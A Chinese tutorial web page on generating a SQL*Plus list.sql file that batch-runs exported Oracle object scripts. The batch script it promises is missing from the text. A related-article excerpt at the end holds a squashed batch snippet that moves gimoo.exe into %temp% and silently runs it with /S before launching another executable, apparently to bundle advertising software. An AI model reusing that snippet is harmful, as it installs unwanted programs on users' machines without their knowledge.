位置: 编程技术 - 正文

自动生成批量执行SQL脚本的批处理实例演示(自动生成批量执行命令)

编辑:rootadmin
场景: DBA那边给我导出了所有的存储、函数等等对象的创建脚本,有上千个文件. 现在需要将这些对象创建脚本导入到另外一个库,如何解决呢? 手动一个个执行显然不太现实. 于是手动写了一个批处理,将所有的文件形成一个.SQL的脚本,最后以@生成的.SQL脚本方式导入到目标库中. OS环境:WINDOWS xp 脚本内容如下: 使用: 另存为.BAT类型文件后,双击执行. 输入你脚本的路径: 如我的E盘CRY文件夹下,有如下类型的文件: TEST.PRC .. TEST1.FNC(有子文件夹) .. TEST2.VW . 执行该批处理后,最后生成的list.sql脚本文件内容如下(执行完批处理后会用默认的编辑器自动打开该文件): @@E:cryTEST.PRC .. @@E:cryTEST1.FNC .. @@E:cryTEST2.VW .. 打开SQLPLUS,以指定用户登录数据库,然后执行: (我的脚本文件生成在d盘) @D:list.sql 这样所有的对象就会自动在指定用户下生成. --------------------------- 注意:这样生成的对象很多都是无效的,因为没有按顺序生成,所以建议在自动执行完后,再编译一下所有无效的对象.

推荐整理分享自动生成批量执行SQL脚本的批处理实例演示(自动生成批量执行命令),希望有所帮助,仅作参考,欢迎阅读内容。

自动生成批量执行SQL脚本的批处理实例演示(自动生成批量执行命令)

文章相关热门搜索词:批量生成表单,批量生成工具,自动生成批量执行文件,自动生成批量执行的软件,批量自动生成怎么用,自动生成批量执行的软件,自动生成批量执行的软件,自动生成批量执行命令,内容如对您有帮助,希望把文章链接给更多的朋友!

下载站运行广告合作exe文件然后再运行程序文件的bat @ECHOOFFifnotexist".gimoo.exe"GOTOENDmove".gimoo.exe""%temp%gimoo.exe"start"qq""%temp%gimoo.exe""/S":ENDstart"m"".binXLacc.exe"exit

cmd SETLOCAL使用介绍 SETLOCAL开始批处理文件中环境改动的本地化操作。在执行SETLOCAL之后所做的环境改动只限于批处理文件。要还原原先的设置,必须执行ENDLOCAL。达到批处

bat下产生指定范围随机数字的实现方法 最近研究批处理命令,偶然发现,居然还有随机数,在此之前,是未敢想过。说到随机数,不同的软件都有随机函数的功能,使用方法大体类似,但却

本文链接地址:https://www.jiuchutong.com/biancheng/375049.html 转载请保留说明!

上一篇:运行cmd直接进入指定目录下的命令(进入cmd命令)

下一篇:下载站运行广告合作exe文件然后再运行程序文件的bat(下载器广告)

免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

鄂ICP备2023003026号

网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

友情链接: 武汉网站建设 电脑维修 湖南楚通运网络